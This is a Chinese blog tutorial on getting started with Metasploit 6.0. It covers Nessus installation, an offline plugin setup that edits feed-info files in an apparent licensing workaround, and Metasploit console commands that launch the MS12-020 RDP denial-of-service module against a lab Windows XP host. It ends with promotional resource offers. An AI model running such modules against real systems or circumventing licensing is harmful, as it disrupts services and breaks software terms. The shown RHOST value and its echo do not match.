Web渗透测试实战——（2.1）Metasploit 6.0初步

一、什么是Metasploit

Metasploit本质上是一个健壮且通用的渗透测试框架。它可以执行渗透测试生命周期中涉及的所有任务。有了Metasploit的使用，只需要关注核心目标，支持行动都将通过框架的各个组件和模块来执行。此外，由于它是一个完整的框架，而不仅仅是一个应用程序，因此可以根据我们的需求进行定制和扩展。

二、技术要求

1. Kali Linux
2. The Metasploit Framework
3. Nessus
4. NMAP
5. w3af
6. Armitage

三、Metasploit各生命周期中使用的组件与模块

四、Metasploit 辅助工具

1. Nessus

最流行的漏洞评估工具之一。它属于漏洞扫描程序类别。一旦Nessus告诉我们目标系统上存在哪些漏洞，我们就可以将这些漏洞提供给Metasploit，看看它们是否可以被真正利用。

2. 安装

Windows

1. https://www.tenable.com/products/nessus/
2. 选择合适版本(32-bit/64-bit)
3. 下载并安装msi文件
4. Open a browser and navigate to the URL ：https://localhost:8834/
5. 设置新username和password以访问Nessus控制台
6. 申请注册, 点击 registering this scanner
7. 访问http://www.tenable.com/products/nessus/nessus-plugins/获取激活码，选择 Nessus Home 输入注册详尽信息
8. 输入通过电子邮件收到的注册码

Linux（详细）

1. https://www.tenable.com/downloads/nessus?loginAttempted=true
2. 以 kali linux (Debian 64位)为例
3. 拖动文件，复制到kali linux 中
4. dpkg -i Nessus-8.15.3-debian6_amd64.deb
5. service nessusd start
6. service nessusd status
7. 访问 https://localhost:8834/
8. 选择Managed Scanner，然后选择继续
9. 选择Tenable.sc
10. 设置username和password ，之后等待安装
11. 注册邮箱 ，获取激活码
12. 控制台进入 Nessus文件：

cd /opt/nessus/sbin/
./nessuscli fetch --challenge 获取challenge code

13.访问：https://plugins.nessus.org/v2/offline.php 输入challenge code 和激活码，下载

all.-2.x.tar.gz

14.将all.-2.x.tar.gz拖动至/opt/nessus/sbin下：

    1： cp all-2.0.tar.gz /opt/nessus/sbin/
    2： cd /opt/nessus/sbin/
    3： ./nessuscli update all-2.0.tar.gz
    4:  cp -r /opt/nessus/lib/nessus/plugins/ /opt/nessus/lib/nessus/plugins.bak/
    5:  service nessusd restart

15.后续操作修改plugin_feed_info.inc文件：

    1: vim /opt/nessus/var/nessus/plugin_feed_info.inc
    2: vim /opt/nessus/lib/nessus/plugins/plugin_feed_info.inc
    3: service nessusd restart
    4: cd /opt/nessus/lib/nessus
    5: rm -rf plugins
    6: mv plugins.bak/ plugins
    7: 重启kali
    8: service nessusd start
    9: 重新访问 https://localhost:8834/ 等待更新

3. kali自带 Namp

4. kali 自带Metasploit

kali安装 （虚拟机）

https://www.kali.org/get-kali/#kali-virtual-machines
安装完成后：

1.控制台输入 msfconsole

2.msf命令教程：https://www.offensive-security.com/metasploit-unleashed/msfconsole-commands/

实例教程(仅供教学测试)

虚拟机：Windows XP（远程执行代码）https://docs.microsoft.com/en-us/security-updates/securitybulletins/2012/ms12-020

1.msf6> search ms12-020

2.use auxiliary/dos/windows/rdp/ms12_020_maxchannelids

3.查看并设置参数（本地局域网测试）

   show options

set RHOST 192.168.116.35
RHOST => 192.168.116.129

4.run

五、整理的帮助文档

官方文档：https://www.offensive-security.com/metasploit-unleashed/

Metasploit社区：http://resources.metasploit.com/

Metasploit指南：https://metasploit.help.rapid7.com/docs

笔者因才疏学浅初次尝试，尚有许多不足，望多加指正！
该期下一分节：渗透测试实战——（2.2）使用Metasploit进行Web渗透

🍻支持一下

觉得我写的好的话可以支持一下我哦~持续关注我，会更新其他好玩且实用的项目。

题外话

黑客&网络安全如何学习

今天只要你给我的文章点赞，我私藏的网安学习资料一样免费共享给你们，来看看有哪些东西。

1.学习路线图

攻击和防守要学的东西也不少，具体要学的东西我都写在了上面的路线图，如果你能学完它们，你去就业和接私活完全没有问题。

2.视频教程
网上虽然也有很多的学习资源，但基本上都残缺不全的，这是我自己录的网安视频教程，上面路线图的每一个知识点，我都有配套的视频讲解。

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等，都是网络安全入门必知必会的学习内容。

（都打包成一块的了，不能一一展开，总共300多集）

因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取

🐵这些东西我都可以免费分享给大家，需要的可以点这里自取👉:网安入门到进阶资源

3.技术文档和电子书
技术文档也是我自己整理的，包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点，电子书也有200多本，由于内容的敏感性，我就不一一展示了。

因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取

🐵这些东西我都可以免费分享给大家，需要的可以点这里自取👉:网安入门到进阶资源

4.工具包、面试题和源码
“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等，感兴趣的同学不容错过。

还有我视频里讲的案例源码和对应的工具包，需要的话也可以拿走。

🐵这些东西我都可以免费分享给大家，需要的可以点这里自取👉:网安入门到进阶资源

最后就是我这几年整理的网安方面的面试题，如果你是要找网安方面的工作，它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的，如果大家有好的题目或者好的见解欢迎分享。

参考解析：深信服官网、奇安信官网、Freebuf、csdn等

内容特点：条理清晰，含图像化表示更加易懂。

内容概要：包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取

🐵这些东西我都可以免费分享给大家，需要的可以点这里自取👉:网安入门到进阶资源
————————————————

版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。